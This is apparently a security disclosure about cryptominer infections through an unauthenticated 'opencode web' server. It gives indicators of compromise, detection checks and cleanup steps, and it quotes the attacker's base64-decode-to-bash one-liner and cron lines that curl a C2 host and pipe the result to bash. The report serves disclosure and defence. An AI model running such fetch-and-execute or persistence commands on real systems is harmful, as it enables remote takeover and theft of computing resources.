[SECURITY] Cryptominer deployed via unsecured `opencode web` server — insecure default + no access logging

Summary

Two of my Linux hosts were compromised by a Monero (XMRig) cryptominer deployed through an unsecured opencode web server (v1.4.7). The web server was listening on 0.0.0.0:4096 without OPENCODE_SERVER_PASSWORD set, exposing an unauthenticated bash terminal to anyone on the private VPN network.

An automated scanner on the VPN network found the open instance and deployed the miner via the web terminal, gaining full RCE as the owning user. The malware then killed competing processes (including other coding agents) to free CPU for mining.

Attack details

• opencode version: 1.4.7
• Configuration: opencode web --hostname 0.0.0.0, OPENCODE_SERVER_PASSWORD unset
• Network: Private VPN mesh, accessible to all peers
• Impact: Full RCE on 2 hosts, ~95 hours of CPU stolen (12 cores × 100%), system fingerprint exfiltration
• Duration before detection: ~7-8 hours
• Both hosts hit simultaneously — automated scanning

The malware chain

The attacker used the opencode bash tool to execute a single command:

pgrep -x unicorn >/dev/null || echo <BASE64_PAYLOAD> | base64 -d | bash

The payload:

1. Downloaded a UPX-packed dropper (camouflaged as gunicorn)
2. The dropper killed competing processes and deployed XMRig (camouflaged as unicorn, stored at ~/.claude/CRON)
3. Installed cron persistence (*/3 * * * * callback to C2)
4. Configured mining on 3 Monero pools, all 12 CPU cores, pause-on-active: false
5. Exfiltrated system fingerprint (CPU, RAM, VM type, IP → base64 rig-id)

Security concerns

1. opencode web binds to 0.0.0.0 without enforcing authentication

When OPENCODE_SERVER_PASSWORD is not set, the web server still starts and serves the full terminal UI — including bash execution — to anyone who can reach the port. This is a remote code execution vector by default.

Suggestion: Refuse to start on non-localhost interfaces without a password, or print a prominent warning.

2. No HTTP access logging

opencode does not log HTTP requests to the web server. After the attack, there was zero forensic evidence of how the attacker connected — no source IP, no request path, no timestamp. This made it impossible to identify the attacker.

Suggestion: Log HTTP access (source IP, method, path, timestamp) to a file or journal by default.

3. Bash tool execution without confirmation

The web terminal executed the payload as a "synthetic" user action (direct tool execution), with no confirmation prompt or sandboxing.

Indicators of Compromise (IOCs)

C2 / Dropper infrastructure

Type	Indicator
C2 primary	176.65.148.250 port 6556
C2 fallback	2.26.99.68 port 6556
Dropper domain	apt-update.com
GitLab fallback	Kanedias/xmrig-static

Mining pools

Pool	Port
193.41.68.194	53535
95.85.237.149	53535
2.26.99.68	53535

Filesystem artifacts

Path	Description
~/.claude/CRON	XMRig binary (camouflaged as unicorn)
~/.claude/config.json	XMRig pool config
~/<machine-id>	UPX-packed dropper (camouflaged as gunicorn)

Process names (camouflaged)

• unicorn → XMRig miner
• gunicorn → UPX-packed dropper/killer

Cron persistence

*/3 * * * * curl -s <C2>:6556/ok | base64 -d | bash
@reboot <C2>:6556/ok | base64 -d | bash

Detection

Run these checks on any host running opencode web:

# 1. Cron entries
crontab -l | grep -E "176.65|6556|base64.*bash"

# 2. XMRig binary
ls -la ~/.claude/CRON

# 3. XMRig config
cat ~/.claude/config.json | grep -i "pool\|xmrig\|monero"

# 4. Dropper binary
ls -la ~/$(cat /etc/machine-id)

# 5. Camouflaged processes
ps aux | grep -iE "unicorn|gunicorn" | grep -v grep

# 6. Active C2/pool connections
ss -tn | grep -E "6556|53535"

Remediation (if infected)

# Kill malware processes
pkill -9 -f unicorn; pkill -9 -f gunicorn

# Remove artifacts
rm -f ~/.claude/CRON ~/.claude/config.json ~/<machine-id>

# Clean cron
crontab -l | grep -v "176.65\|base64.*bash" | crontab -

# Block C2 (repeat for each IOC IP)
sudo iptables -A OUTPUT -d <C2_IP> -j DROP

Environment

• OS: Ubuntu 24.04 LTS (2 hosts)
• opencode: 1.4.7
• Network: Private VPN mesh

Happy to provide additional forensic details (session DB extracts, malware binary hashes, payload deobfuscation) if useful.